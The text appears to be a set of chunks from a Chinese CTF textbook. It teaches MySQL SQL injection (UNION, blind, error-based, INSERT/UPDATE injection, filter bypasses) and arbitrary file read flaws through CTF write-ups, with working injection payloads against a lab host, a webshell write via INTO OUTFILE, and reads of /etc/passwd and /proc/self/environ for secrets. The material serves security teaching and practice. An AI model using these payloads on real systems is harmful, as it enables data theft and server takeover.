    {"text": "❖ 二是在不知道密码和无法重置的情况下，通过CMS网站本身的特性，结合目录遍历来实现最后的RCE（Remote Command/Code Execute，远程命令/代码执行）。"},
    {"text": "而由于开发者在程序编写过程中，对传入用户数据的过滤不严格，将可能存在的攻击载荷拼接到SQL查询语句中，再将这些查询语句传递给后端的数据库执行，从而引发实际执行的语句与预期功能不一致的情况。"},
    {"text": "这种攻击被称为 SQL注入攻击 。 大多数应用在开发时将诸如密码等的数据放在数据库中，由于SQL注入攻击能够泄露系统中的敏感信息，使之成为了进入各Web系统的入口级漏洞，因此各大CTF赛事将SQL注入作为Web题目的出题点之一，SQL注入漏洞也是现实场景下最常见的漏洞类型之一。"},
    {"text": "考虑到篇幅，同时SQL注入的原理相似，所以这里仅针对比赛出题过程中使用得最多的MySQL数据库的注入攻击进行介绍，而不对Access、Microsoft SQL Server、NoSQL等进行详细介绍。"},
    {"text": "1.2.1 SQL注入基础 SQL注入是开发者对用户输入的参数过滤不严格，导致用户输入的数据能够影响预设查询功能的一种技术，通常将导致数据库的原有信息泄露、篡改，甚至被删除。 本节用一些简单的例子详细介绍SQL注入的基础，包括数字型注入、UNION注入、字符型注入、布尔盲注、时间注入、报错注入和堆叠注入等注入方式和对应的利用技巧。"},
    {"text": "图1-2-1 图1-2-2 图1-2-3 本节的目标是通过HTTP的GET方式输入的id值，将本应查询新闻表的功能转变成查询admin（通常为管理员）的账号和密码（密码通常是hash值，这里为了演示变为明文 this_is_the_admin_password ）。"},
    {"text": "图1-2-5 现在互联网上绝大多数网站的内容是预先存储在数据库中，通过用户传入的id等参数，从数据库的数据中查询对应记录，再显示在浏览器中，如 https://bbs.symbo1.com/t/topic/53 中的“ 53 ”，见图1-2-6。"},
    {"text": "id=2 ，可以看到图1-2-7中显示了图1-2-2中id为2的记录，再访问链接 http://192.168.20.133/sql1.php？ id=3-1 ，可以看到页面仍显示 id=2 的记录，见图1-2-8。 这个现象说明，MySQL对“ 3-1 ”表达式进行了计算并得到结果为2，然后查询了id=2的记录。 从数字运算这个特征行为可以判断该注入点为数字型注入，表现为输入点“ $_GET['id'] ”附近没有引号包裹（从源码也可以证明这点），这时我们可以直接输入SQL查询语句来干扰正常的查询（结果见图1-2-9）： 图1-2-7 正常的查询链接 图1-2-8 图1-2-9 这个SQL语句的作用是查询新闻表中id=1时对应行的title、content字段的数据，并且联合查询用户表中的user、pwd（即账号密码字段）的全部内容。 我们通过网页访问时应只输入id后的内容，即访问链接： http://192.168.20.133/sql1.php？"},
    {"text": "此时有多种办法，如可以继续在原有数据后面加上“ limit 1，1 ”参数（显示查询结果的第2条记录，见图1-2-11）。 “limit 1，1”是一个条件限定，作用是取查询结果第1条记录后的1条记录。 又如，指定 id=-1 或者一个很大的值，使得图1-2-9中的第一行记录无法被查询到（见图1-2-12），这样结果就只有一行记录了（见图1-2-13）。"},
    {"text": "假设我们不知道数据库的相关信息，先通过 id=3-1 和 id=2 的回显页面一致（即图1-2-7与图1-2-8的内容一致）判断这里存在一个数字型注入，然后通过联合查询，查到本数据库的其他所有表名。"},
    {"text": "id=-1 union select 1，group_concat（table_name）from information_schema.tables where table_schema=database() ，结果见图1-2-15。 图1-2-15 table_name字段是information_schema库的tables表的表名字段。 表中还有数据库名字段table_schema。 而database()函数返回的内容是当前数据库的名称，group_concat是用“，”联合多行记录的函数。 也就是说，该语句可以联合查询当前库的所有（事实上有一定的长度限制）表名并显示在一个字段中。"},
    {"text": "数字型注入的 关键 在于找到输入的参数点，然后通过加、减、乘除等运算，判断出输入参数附近没有引号包裹，再通过一些通用的攻击手段，获取数据库的敏感信息。"},
    {"text": "图1-2-19 按照这个特性，我们容易判断输入点是否为字符型，也就是是否有引号（可能是单引号也可能是双引号，绝大多数情况下是单引号）包裹。"},
    {"text": "图1-2-22 成功显示内容，此时的MySQL语句如下： 输入的单引号闭合了前面预置的单引号，输入的“＃”注释了后面预置的单引号，查询语句成功执行，接下来的操作就与1.2.1.1节的数字型注入一致了，结果见图1-2-23。"},
    {"text": "图1-2-24 访问 http://192.168.20.133/sql2.php？ id=1'and'1 ，这时数据库查询语句见图1-2-25。 图1-2-25 关键字WHERE是SELECT操作的一个判断条件，之前的id=1即查询条件。"},
    {"text": "由于字符串'1'被强制转换成True，代表这个条件成立，因此数据库查询出id=1的记录。 再看图1-2-26所示的语句：第1个条件仍为id=1，第2个条件字符串'a'被强制转换成逻辑假，所以条件不满足，查询结果为空。"},
    {"text": "例如，先试探这个数据是否为'a'，如果是，则页面显示id=1的回显，否则页面显示空白； 再试探这个数据是否为'b'，如果数据只有1位，那么只要把可见字符都试一遍就能猜到。"},
    {"text": "id=1'and'f'='a' ，猜测为'a'，没有猜中，于是尝试'b'、'c'、'd'、'e'，都没有猜中，直到尝试'f'的时候，猜中了，于是页面回显了id=1的内容，见图1-2-27。"},
    {"text": "在MySQL中查询（结果见图1-2-29）： 然后截取数据的第1位（结果见图1-2-30）： 于是完整的利用SQL语句如下： 图1-2-29 图1-2-30 访问链接 http://192.168.20.133/sql2.php？"},
    {"text": "id=1'and（select mid（（select concat（user，0x7e，pwd）from wp_user），2，1））='d'%23 ，结果与图1-2-31的一致，说明第2位是'd'。"},
    {"text": "由于某些情况下，页面回显的内容完全一致，故需要借助其他手段对SQL注入的执行结果进行判断，如通过服务器执行SQL语句所需要的时间，见图1-2-32。"},
    {"text": "与回显的盲注的直观结果不同，通过sleep()函数，利用IF条件函数或AND、OR函数的短路特性和SQL执行的时间判断SQL攻击的结果，这种注入的方式被称为 时间盲注 。"},
    {"text": "图1-2-32 1.2.1.3 报错注入 有时为了方便开发者调试，有的网站会开启错误调试信息，部分代码如sql3.php所示。 此时，只要触发SQL语句的错误，即可在页面上看到错误信息，见图1-2-33。"},
    {"text": "图1-2-33 通过查阅相关文档可知，updatexml在执行时，第二个参数应该为合法的XPATH路径，否则会在引发报错的同时将传入的参数进行输出，如图1-2-34所示。 图1-2-34 利用这个特征，针对存在报错显示的例子，将我们想得到的信息传入updatexml函数的第二个参数，在浏览器中尝试访问链接 http://192.168.20.133/sql3.php？ id=1'or updatexml（1，concat（0x7e，（select pwd from wp_user）），1）%23 ，结果见图1-2-35。"},
    {"text": "图1-2-35 另外，当目标开启多语句执行的时候，可以采用多语句执行的方式修改数据库的任意结构和数据，这种特殊的注入情况被称为堆叠注入。"},
    {"text": "图1-2-36 本节讲述了数字型注入、UNION注入、布尔盲注、时间盲注、报错注入，这些是在后续注入中需要用到的基础。 根据获取数据的便利性，这些注入技巧的使用优先级是：UNION注入>报错注入>布尔盲注>时间盲注。"},
    {"text": "1.2.2.1 SELECT注入 SELECT语句用于数据表记录的查询，常在界面展示的过程使用，如新闻的内容、界面的展示等。 SELECT语句的语法如下： 1．注入点在select_expr 源代码如sqln1.php所示。 此时可以采取1.2.1.2节中的时间盲注进行数据获取，不过根据MySQL的语法，我们有更优的方法，即利用AS别名的方法，直接将查询的结果显示到界面中。"},
    {"text": "图1-2-37 2．注入点在table_reference 上文中的SQL查询语句改为如下： 我们仍可以用别名的方式直接取出数据，如 当然，在不知表名的情况下，可以先从information_schema.tables中查询表名。"},
    {"text": "3．注入点在WHERE或HAVING后 SQL查询语句如下： 这种情况已经在1.2.1节的注入基础中讲过，也是现实中最常遇到的情况，要先判断有无引号包裹，再闭合前面可能存在的括号，即可进行注入来获取数据。"},
    {"text": "4．注入点在GROUP BY或ORDER BY后 当遇到不是WHERE后的注入点时，先在本地的MySQL中进行尝试，看语句后面能加什么，从而判断当前可以注入的位置，进而进行针对性的注入。"},
    {"text": "由于语法限制，前面的字符注入方式不可行（LIMIT后只能是数字），在整个SQL语句没有ORDER BY关键字的情况下，可以直接使用UNION注入。 另外，我们可根据SELECT语法，通过加入PROCEDURE来尝试注入，这类语句只适合MySQL 5.6前的版本，见图1-2-38。"},
    {"text": "在有写入权限的特定情况条件下，我们也可以使用INTO OUTFILE语句向Web目录写入webshell，在无法控制文件内容的情况下，可通过“ SELECT xx INTO outfile\"/tmp/xxx.php\"LINES TERMINATED BY'<？"},
    {"text": "图1-2-39 1.2.2.2 INSERT注入 INSERT语句是插入数据表记录的语句，网页设计中常在添加新闻、用户注册、回复评论的地方出现。 INSERT的语法如下： 通常，注入位于字段名或者字段值的地方，且没有回显信息。"},
    {"text": "图1-2-40 2．注入点位于VALUES 假设语句如下： 此时可先闭合单引号，然后另行插入一条记录，通常管理员和普通用户在同一个表，此时便可以通过表字段来控制管理员权限。 注入语句如下： 如果用户表的第2个字段代表的是管理员权限标识，便能插入一个管理员用户。"},
    {"text": "假设最后一个字段的数据会被显示到页面上，那么采用如下语句注入，即可将第一个用户的密码显示出来： 1.2.2.3 UPDATE注入 UPDATE语句适用于数据库记录的更新，如用户修改自己的文章、介绍信息、更新信息等。"},
    {"text": "图1-2-42 为了保证不会对正常数据造成干扰，通常使用 'and sleep（1）' 的方式保证WHERE后的结果返回为False，让语句无法成功执行，见图1-2-43。"},
    {"text": "图1-2-43 1.2.3 注入和防御 本节将讲述常用的防御手段和绕过注入的若干方法，重点为读者提供绕过的思路，而不是作为注入宝典的参考。"},
    {"text": "1．只过滤了空格 除了空格，在代码中可以代替的空白符还有%0a、%0b、%0c、%0d、%09、%a0（均为URL编码，%a0在特定字符集才能利用）和/**/组合、括号等。"},
    {"text": "图1-2-47 5．替换了单引号或双引号，忘记了反斜杠 当遇到如下注入点时： 可构造如下语句进行绕过 第1个可控点的反斜杠转义了可控点1预置的单引号，导致可控点2逃逸出单引号，见图1-2-48。"},
    {"text": "图1-2-49 1.2.3.2 逃逸引号 注入的重点在于逃逸引号，而开发者常会将用户的输入全局地做一次addslashes，也就是转义如单引号、反斜杠等字符，如“'”变为“\\'”。"},
    {"text": "当用户输入addslashes函数时，数据处于编码状态，引号无法被转义，解码后如果直接进入SQL语句即可造成注入，同样的情况也发生在加密/解密、字符集转换的情况。"},
    {"text": "2．意料之外的输入点 开发者在转义用户输入时遗漏了一些可控点，以PHP为例，形如上传的文件名、http header、$_SERVER['PHP_SELF']这些变量通常被开发者遗忘，导致被注入。"},
    {"text": "假设当前数据表见图1-2-50，用户输入的用户名admin'or'1经过转义为了admin\\'or\\'1，于是SQL语句为： 此时，由于引号被转义，并没有注入产生，数据正常入库，见图1-2-51。"},
    {"text": "例如，PHP代码如下： 假设攻击者输入“ aaaaaaaaa' ”，自动转义为“ aaaaaaaaa\\' ”，由于字符长度限制，被截取为“ aaaaaaaaa\\ ”，正好转义了预置的单引号，这样在content的地方即可注入。"},
    {"text": "title=aaaaaaaaa\\&content=，1，1），（3，4，（select%20pwd%20from%20wp_user%20limit%201），1）%23 ，即可看到数据表wp_news新增了2行，见图1-2-52。"},
    {"text": "❖ 在有写文件权限的情况下，直接用INTO OUTFILE或者DUMPFILE向Web目录写文件，或者写文件后结合文件包含漏洞达到代码执行的效果，见图1-2-53。"},
    {"text": "SQL注入类的MySQL题目中可以采用的过滤方法多种多样，同时由于SQL服务器在实现时的不同，即使是相同的功能，也会有多种多样的实现方式，而题目会将这种过滤时不容易考虑到的知识点或注入技巧作为考点。 那么，为了做出题目或更深入了解SQL注入原理，最关键的是根据不同的SQL服务器类型，查找相关资料，通过fuzz得出被过滤掉的字符、函数、关键词等，在文档中查找功能相同但不包含过滤特征的替代品，最终完成对相关防御功能的绕过。 此外，平时多积累、多练习也会很有帮助，一些平台如 sqli-labs （ https://github.com/Audi-1/sqli-labs ）提供不同过滤等级下的注入题目，其中涵盖了大多数出题点。"},
    {"text": "1.3 任意文件读取漏洞 所谓文件读取漏洞，就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。 从整个攻击过程来看，它常常作为资产信息搜集的一种强力的补充手段，服务器的各种配置文件、文件形式存储的密钥、服务器信息（包括正在执行的进程信息）、历史命令、网络信息、应用源码及二进制程序都在这个漏洞触发点被攻击者窥探。 文件读取漏洞常常意味着被攻击者的服务器即将被攻击者彻底控制。 当然，如果服务器严格按照标准的安全规范进行部署，即使应用中存在可利用的文件读取漏洞，攻击者也很难拿到有价值的信息。 文件读取漏洞在每种可部署Web应用的程序语言中几乎都存在。"},
    {"text": "通常来讲，Web应用框架或中间件的开发者十分在意代码的可复用性，因此对一些API接口的定义都十分开放，以求尽可能地给二次开发者最大的自由。 而真实情况下，许多开发人员在进行二次开发时过于信任Web应用框架或中间件底层所实现的安全机制，在未仔细了解应用框架及中间件对应的安全机制的情况下，便轻率地依据简单的API文档进行开发，不巧的是，Web应用框架或中间件的开发者可能未在文档中标注出API函数的具体实现原理和可接受参数的范围、可预料到的安全问题等。"},
    {"text": "如果“轮子”中存在漏洞，在“轮子”代码被程序员多次迭代复用的同时，漏洞也将一级一级地传递，而随着对底层“轮子”代码的不断引用，存在于“轮子”代码中的安全隐患对于处在“调用链”顶端的开发者而言几乎接近透明。"},
    {"text": "另外，有一种任意文件读取漏洞是开发者通过代码无法控制的，这种情况的漏洞常常由Web Server自身的问题或不安全的服务器配置导致。 Web Server运行的基本机制是从服务器中读取代码或资源文件，再把代码类文件传送给解释器或CGI程序执行，然后将执行的结果和资源文件反馈给客户端用户，而存在于其中的众多文件操作很可能被攻击者干预，进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生。 1.3.1 文件读取漏洞常见触发点 1.3.1.1 Web语言 不同的Web语言，其文件读取漏洞的触发点也会存在差异，本小节以读取不同Web文件漏洞为例进行介绍，具体的漏洞场景请读者自行查阅，在此不再赘述。 1．PHP PHP标准函数中有关文件读的部分不再详细介绍，这些函数包括但可能不限于： file_get_contents() 、 file() 、 fopen()函数 （及其文件指针操作函数fread()、fgets()等），与文件包含相关的函数（ include() 、 require() 、 include_once() 、 require_once()等 ），以及通过PHP读文件的执行系统命令（ system() 、 exec()等 ）。"},
    {"text": "开发者为了写出一个高复用性的文件调用函数，就需要将一些动态的信息传入（如可变的部分文件名）那些函数（见图1-3-1），如果在程序入口处没有利用switch等分支语句对这些动态输入的数据加以控制，攻击者就很容易注入恶意的路径，从而实现任意文件读取甚至任意文件包含。"},
    {"text": "我们可以将其简单理解成PHP提供的一套协议。 例如，在浏览器中输入 http://host：port/xxx 后，就能通过HTTP请求到远程服务器上对应的文件，而在PHP中有很多功能不同但形式相似的协议，统称为 Wrapper ，其中最具特色的协议便是php://协议，更有趣的是，PHP提供了接口供开发者编写自定义的 wrapper（stream_wrapper_register） 。"},
    {"text": "而PHP内置的一些Wrapper会自带一些Filter，如php://协议存在图1-3-2中所示类型的Filter。 图1-3-2 PHP的Filter特性给我们进行任意文件读取提供了很多便利。"},
    {"text": "当然，这些PHP默认携带的Wrapper和Filter都可以通过php.ini禁用，读者在实际遇到时要具体分析，建议阅读PHP有关Wrapper和Filter的源代码，会更加深入理解相关内容。"},
    {"text": "在遇到的有关PHP文件包含的实际问题中，我们可能遇到三种情况： ① 文件路径前面可控，后面不可控； ② 文件路径后面可控，前面不可控； ③ 文件路径中间可控。"},
    {"text": "漏洞经常出现在框架请求静态资源文件部分，也就是最后读取文件内容的open函数，但直接导致漏洞的成因往往是框架开发者忽略了Python函数的feature，如os.path.join()函数： 很多开发者通过判断用户传入的路径不包含“.”来保证用户在读取资源时不会发生目录穿越，随后将用户的输入代入os.path.join的第二个参数，但是如果用户传入“/”，则依然可以穿越到根目录，进而导致任意文件读取。"},
    {"text": "比如，将用户输入的某些数据作为文件名的一部分（常见于认证服务或者日志服务）存储在服务器中，在取文件内容的部分也通过将经过处理的用户输入数据作为索引去查找相关文件，这就给了攻击者一个进行目录穿越的途径。"},
    {"text": "另一种情况是攻击者构造软链接放入压缩包，解压后的内容会直接指向服务器相应文件，攻击者访问解压后的链接文件会返回链接指向文件的相应内容。"},
    {"text": "此外，Python的模板注入、反序列化等漏洞都可造成一定程度的任意文件读取，当然，其最大危害仍然是导致任意命令执行。 3．Java 除了Java本身的文件读取函数FileInputStream、XXE导致的文件读取，Java的一些模块也支持“file://”协议，这是Java应用中出现任意文件读取最多的地方，如Spring Cloud Config Server路径穿越与任意文件读取漏洞（CVE-2019-3799）、Jenkins任意文件读取漏洞（CVE-2018-1999002）等。"},
    {"text": "到目前为止，我们已知的通用漏洞为Ruby On Rails远程代码执行漏洞（CVE-2016-0752）、Ruby On Rails路径穿越与任意文件读取漏洞（CVE-2018-3760）、Ruby On Rails路径穿越与任意文件读取漏洞（CVE-2019-5418）。 笔者在CTF竞赛中就曾遇到Ruby On Rails远程代码执行漏洞（CVE-2016-0752）的利用。"},
    {"text": "5．Node 目前，已知Node.js的express模块曾存在任意文件读取漏洞（CVE-2017-14849），但笔者还未遇到相关CTF赛题。 CTF中Node的文件读取漏洞通常为模板注入、代码注入等情况。"},
    {"text": "1.3.1.2 中间件/服务器相关 不同的中间件/服务器同样可能存在文件读取漏洞，本节以曾经出现的不同中间件/服务器上的文件读取漏洞为例来介绍。"},
    {"text": "但是，如果用户请求的Web路径是 /static../ ，拼接到alias上就变成了 /home/myapp/static/../ ，此时便会产生目录穿越漏洞，并且穿越到了myapp目录。"},
    {"text": "注意： 漏洞的成因是location最后没有加“/”限制，Nginx匹配到路径static后，把其后面的内容拼接到alias，如果传入的是 /static../ ，Nginx并不认为这是跨目录，而是把它当作整个目录名，所以不会对它进行跨目录相关处理。"},
    {"text": "2．数据库 可以进行文件读取操作的数据库很多，这里以MySQL为例来进行说明。 MySQL的load_file()函数可以进行文件读取，但是load_file()函数读取文件首先需要数据库配置FILE权限（数据库root用户一般都有），其次需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限（很多配置文件都是所有组/用户可读），主流Linux系统还需要Apparmor配置目录白名单（默认白名单限制在MySQL相关的目录下），可谓“一波三折”。"},
    {"text": "同样，这种方式需要FILE权限，不过比较少见，因为除了SSRF攻击MySQL这种特殊情形，很少有可以直接执行整条非基本SQL语句（除了SELECT/UPDATE/INSERT）的机会。"},
    {"text": "3．软链接 bash命令 ln-s 可以创建一个指向指定文件的软链接文件，然后将这个软链接文件上传至服务器，当我们再次请求访问这个链接文件时，实际上是请求在服务端它指向的文件。"},
    {"text": "同年的全国大学生信息安全竞赛实践赛（CISCN）就利用这个漏洞出了一道CTF线上题目（相关题解可以参考 https://www.cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html ）。"},
    {"text": "当我们遇见SSRF漏洞时，尤其是可以通过SSRF漏洞进行UNIX Socket通信的时候，就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取（利用Docker的ADD、COPY操作），从而形成一种另类的任意文件读取。"},
    {"text": "1.3.1.3 客户端相关 客户端也存在文件读取漏洞，大多是基于XSS漏洞读取本地文件。 1．浏览器/Flash XSS 一般来说，很多浏览器会禁止JavaScript代码读取本地文件的相关操作，如请求一个远程网站，如果它的JavaScript代码中使用了File协议读取客户的本地文件，那么此时会由于同源策略导致读取失败。 但在浏览器的发展过程中存在着一些操作可以绕过这些措施，如Safari浏览器在2017年8月被爆出存在一个客户端的本地文件读取漏洞。"},
    {"text": "（1）/etc目录 /etc目录下多是各种应用或系统配置文件，所以其下的文件是进行文件读取的首要目标。 (2)/etc/passwd /etc/passwd文件是Linux系统保存用户信息及其工作目录的文件，权限是所有用户/组可读，一般被用作Linux系统下文件读取漏洞存在性判断的基准。"},
    {"text": "对应目录下的cmdline可读出比较敏感的信息，如使用 mysql-uxxx-pxxxx 登录MySQL，会在cmdline中显示明文密码： 有时我们无法获取当前应用所在的目录，通过cwd命令可以直接跳转到当前目录： 环境变量中可能存在secret_key，这时也可以通过environ进行读取： （15）其他目录 Nginx配置文件可能存在其他路径： 日志文件： Apache默认Web根目录： PHP session目录： 用户目录： [pid]指向进程所对应的可执行文件。"},
    {"text": "有时我们想读取当前应用的可执行文件再进行分析，但在实际利用时可能存在一些安全措施阻止我们去读可执行文件，这时可以尝试读取 /proc/self/exe 。"},
    {"text": "例如： 1.3.2.2 Windows Windows系统下的Web应用任意文件读取漏洞在CTF赛题中并不常见，但是Windows与PHP搭配使用时存在一个问题：可以使用“ < ”等符号作为通配符，从而在不知道完整文件名的情况下进行文件读取，这部分内容会在下面的例题中详细介绍。 1.3.3 文件读取漏洞例题 根据大量相关CTF真题的整理，本节介绍文件读取漏洞的实战，希望参赛者在阅读后仔细总结，熟练掌握，对日后解题会有很大帮助。"},
    {"text": "1.3.3.1 兵者多诡（HCTF 2016） 【题目简介】 在home.php中存在一处include函数导致的文件包含漏洞，传至include函数的路径参数前半部分攻击者可控，后半部分内容确定，不可控部分是后缀的.php。"},
    {"text": "有经验的参赛者：直接访问show.php、upload.php，或者想办法寻找文件中名含有show、upload等特殊含义的PHP文件，或者把show/upload改成其他已知文件\"home\"。"},
    {"text": "我们无法得知文件包含的目标文件具体路径是什么，如果是一个很奇怪的路径，就无法找到其原始PHP文件，这时“ ./show ”形式能很好地解决这个困难，进而轻松地判断这里是否存在任意文件包含漏洞。"},
    {"text": "利用zip://协议，搭配上传的Zip文件，包含一个压缩的Webshell文件； 再通过zip://协议调用压缩包中的Webshell，访问这个Webshell的链接为 【总结】① 题目首先考查了选手对于黑盒测试任意文件读取/包含漏洞的能力，每个人都有自己独有的测试思路，上面所写的思路仅供参考。"},
    {"text": "我们上传一个Zip文件至服务器，当通过zip://协议解析这个压缩文件时，会自动将这个Zip文件按照压缩时的文件结构进行解析，然后通过“ ＃（对应URL编码%23）+文件名 ”的方式对Zip内部所压缩的文件进行索引（如上面的例子就是内部存储了个名为1.php的文件）。"},
    {"text": "【解题思路】 第一个漏洞：代码先匹配到用户传入的URL路径static/后的内容，再将这个内容传入os.path.join，与一些系统内定的目录拼接后形成一个绝对路径，然后进行后缀名检查，通过检查，该绝对路径将传入open()函数，读取文件内容并返回用户。"},
    {"text": "先打开题目，看到HTTP返回头部中显示的Server信息： 我们可以得知题目是使用Python的Django框架开发的，当遇到Python题目没有给源码的情况时，可以第一时间尝试是否存在目录穿越相关的漏洞（可能是Nginx不安全配置或Python框架静态资源目录不安全配置），这里使用“ /etc/passwd ”作为文件读取的探针，请求的路径为： 可以发现任意文件读取漏洞的确存在，但在随后尝试读取Python源代码文件时发现禁用了几个常见的后缀名，包括Python后缀名、配置文件后缀名、Sqlite后缀名、YML文件后缀名： 在Python 3中运行Python文件时，对于运行的模块会进行缓存，并存放在__pycache__目录下，其中pyc字节码文件的命名规则为： __pycache__/views.cpython-34.pyc是一个文件名的示例。"},
    {"text": "即使参赛者刚开始时不熟悉，也要快速搭建并学习该环境、框架的特性，或者翻看查阅手册。 注意： 快速搭建环境并学习特性是CTF参赛者进行Web比赛的基本素养。"},
    {"text": "1.3.3.3 Show me the shell I(TCTF/0CTF 2018 Final) 【题目简介】 题目的漏洞很明显，UpdateHead方法就是更新头像功能，用户传入的URL的协议可以为File协议，进而在Download方法中触发URL组件的任意文件读取漏洞。"},
    {"text": "图1-3-5 1.3.3.4 BabyIntranet I(SCTF 2018) 【题目简介】 本题采用了Rails框架进行开发，存在Ruby On Rails远程代码执行漏洞（CVE-2016-0752），可以被任意读取文件（该漏洞其实质是动态文件渲染）。"},
    {"text": "【解题思路】 对应用进行指纹探测，通过指纹信息发现是通过Rails框架开发的应用，接着可以在HTML源码中发现链接 /layouts/c3JjX21w ，对软链接后面的部分进行Base64解码，发现内容是src_ip。"},
    {"text": "查阅Rails有关漏洞发现动态模板渲染漏洞（CVE-2016-0752），将 ../../../../../../etc/passwd 编码成Base64放在layouts后，成功返回/etc/passwd文件的内容。"},
    {"text": "尝试渲染日志文件（ ../log/development.log ）直接进行代码执行失败，发现没权限渲染这个文件，接着读取所有可读的代码或配置文件，发现使用了cookies_serializer模块。"},
    {"text": "尝试读取当前用户环境变量发现没权限，于是尝试读取/proc/self/environ，获取到密钥后，使用metasploit中相应的Ruby反序列化攻击模块直接攻击。"},
    {"text": "【总结】① 通过Ruby On Rails远程代码执行漏洞（CVE-2016-0752）进行任意文件读取（出题人对漏洞代码进行了一定程度的修改，使用了Base64编码），见图1-3-6。"},
    {"text": "图1-3-8 我们可以通过任意文件读取漏洞获取 /proc/self/environ 的环境变量，找到AES加密所使用的secret_key，接着借助secret_key伪造序列化数据。"},
    {"text": "【解题思路】 通过审计源码，发现模板注入漏洞和服务端浏览器请求规则，同时找到了解题方向：获取flag的路径，并读取flag的内容。 通过模板注入process.env.FLAGFILENAME获取flag文件名，获取整个Node应用所在目录process.env.PWD，使用view-source：输出被解析成HTML标签的结果，见图1-3-10。 图1-3-10 使用 file://+绝对路径 读取config.js中的FLAG_PATH，见图1-3-11。"},
    {"text": "1.3.3.6 Translate(Google CTF 2018) 【题目简介】 根据题目返回的 {{userQuery}} ，我们容易想到试一下模板注入，使用数学表达式{{3*3}}进行测试。"},
    {"text": "通过 {{this.$parent.$parent.window.angular.module（'demo'）._invokeQueue[3][2][1]}} 读取部分代码，发现使用了i18n.template渲染模板，通过 i18n.template（'./flag.txt'） 读取flag。"},
    {"text": "在测试的过程中发现Nginx配置错误（依据前面的信息搜集到Nginx配置文件，也可以进行黑盒测试。 黑盒测试很重要的就是对Nginx的特性及可能存在的漏洞很了解。"},
    {"text": "利用Ngnix目录穿越获取Aria2配置文件，拿到rpc-secret。 再借助Aria2任意文件写入漏洞，Aria2的API需要token也就是rpc-secret才可以调用，前面获取的rpc-secret便能起作用了。"},
    {"text": "1.3.3.8 2013那年（PWNHUB） 【题目简介】（1） 发现存在 .DS_Store 文件，见图1-3-13。 图1-3-13 （2）.DS_Store文件泄露当前目录结构，通过分析.DS_Store文件发现存在upload、pwnhub等目录。"},
    {"text": "（3）pwnhub目录在Nginx文件里被配置成禁止访问（比赛中前期无法拿到Nginx配置文件，只能通过HTTP code 403来判断），配置内容如下： （4）pwnhub存在隐藏的同级目录，其下的index.php文件可以上传TAR压缩包，且调用了Python脚本自动解压上传的压缩包，同时返回压缩包中文件后缀名为.cfg的文件内容。"},
    {"text": "（5）通过分析Linux的crontab定时任务，发现存在一个定时任务： （6）cron_run.sh所执行的是发送邮件的Python脚本，其中泄露了邮箱账号、密码。"},
    {"text": "【解题思路】 扫描目录发现.DS_Store（MacOS下默认会自动生成的文件，主要作用为记录目录下的文件摆放位置，所以里面会存有文件名等信息），解析.DS_Store文件发现当前目录下的所有目录和文件。"},
    {"text": "发现upload目录名最后多了一个空格，想到可利用Nginx解析漏洞（CVE-2013-4547）绕过pwnhub目录的权限限制。 原理是通过Nginx解析漏洞，让Nginx配置文件中的正则表达式 /pwnhub 匹配失败，见图1-3-15。"},
    {"text": "图1-3-16 通过该PHP文件上传TAR格式的压缩包文件，发现应用会将上传的压缩包自动解压（tarfile.open），于是可以先在本地通过命令 ln-s 构造好软链接文件，修改文件名为xxx.cfg，再利用 tar 命令压缩。 上传该TAR压缩包后会将链接指向文件内容进行输出，见图1-3-17。"},
    {"text": "图1-3-17 读取/etc/crontab发现，在crontab中启动了一个奇怪的定时任务： 读取crontab中调用的sh脚本，发现内部运行了一个Python脚本；"},
    {"text": "依据题目简介中所叙述的内容进行猜测，需要删除safe.php才能读到flag，于是利用Discuz！ X 3.4任意文件删除漏洞删除safe.php，见图1-3-19。"},
    {"text": "在题目网站中发现存在.git目录，通过GitHack工具可以还原出程序的源代码，对还原出的源代码进行审计，发现存在二次注入，见图1-3-22。"},
    {"text": "图1-3-23 通过git目录泄露还原出应用源代码，通过审计源码发现SQL注入（二次注入），对注入漏洞进行利用，但是发现数据库中没有flag；"},
    {"text": "读取 /home/www/.bash_history ，发现服务器的历史命令： 根据.bash_history文件内容的提示，读取 /tmp/.DS_Store ，发现并读取flag文件 flag_8946e1ff1ee3e40f.php （注意这里需要将load_file结果进行编码，如使用MySQL的hex函数）。"},
    {"text": "【解题思路】 遇到存在登录及注册功能并且普通注册用户登录系统后无功能的CTF Web题目时，先尝试注入，通过黑盒测试，发现注册阶段存在INSERT注入漏洞，在深入利用时会发现存在WAF，接着使用内联注释绕过WAF（/*！"},
    {"text": "利用注入得到的用户名和密码登录管理员账号，发现在管理员页面存在一个视频格式转化的功能，猜测题目的考查内容是FFMPEG的任意文件读取漏洞。 利用已知的exploit脚本生成恶意AVI文件并上传，下载转化后的视频，播放视频可发现能成功读取到文件内容（/etc/passwd），见图1-3-25。"},
    {"text": "图1-3-25 根据/etc/passwd的文件内容，发现存在名为 s0m3b0dy 的用户，猜测flag在其用户目录下，即 /home/s0m3b0dy/flag （.txt）；"},
    {"text": "另一个比较有特色的文件读取呈现效果的比赛是2018年南京邮电大学校赛，题目使用PHP动态生成图片，在利用时可将文件读取漏洞读到的文件内容贴合到图片上，见图1-3-27。"},
    {"text": "图1-3-27 1.3.3.11 PrintMD（RealWorldCTF 2018线上赛） 【题目简介】 题目提供的功能可将在线编辑器Markdown（hackmd）的内容渲染成可打印的形式。"},
    {"text": "渲染方式分为客户端本地渲染、服务端远程渲染。 客户端可以进行本地调试，服务端远程渲染部分的代码如下： 服务端配备Docker环境，并且启动了Docker服务。"},
    {"text": "得到的源代码如下： 接着利用HTTP参数污染可以绕过startsWith的限制，同时对req.body.url（服务端）进行对象污染，使服务端axios在请求时被传入socketPath及url等参数。"},
    {"text": "①拉取轻量级镜像 docker pull alpine：latest=> ： ②创建容器 docker create-v/flag:/flagindocker alpine--entrypoint \"/bin/sh\"--name ctf alpine：latest=> ： 启动容器docker start ctf： 读取Docker的文件archive： 【总结】 题目考查的点十分细腻、新颖，由于axios不支持File协议，因此需要参赛者利用SSRF控制服务端的其他应用来进行文件读取。"},
    {"text": "1.3.3.12 粗心的佳佳（PWNHUB） 【题目简介】 入口提供了一个Drupal前台，通过搜集信息，发现服务器的23端口开了FTP服务，并且FTP服务存在弱口令，使用弱口令登录FTP后在FTP目录下发现存在Drupal插件源码，并且Drupal插件中存在SQL注入漏洞，同时在内网中存在一台Windows计算机，开启了80端口（Web服务）。"},
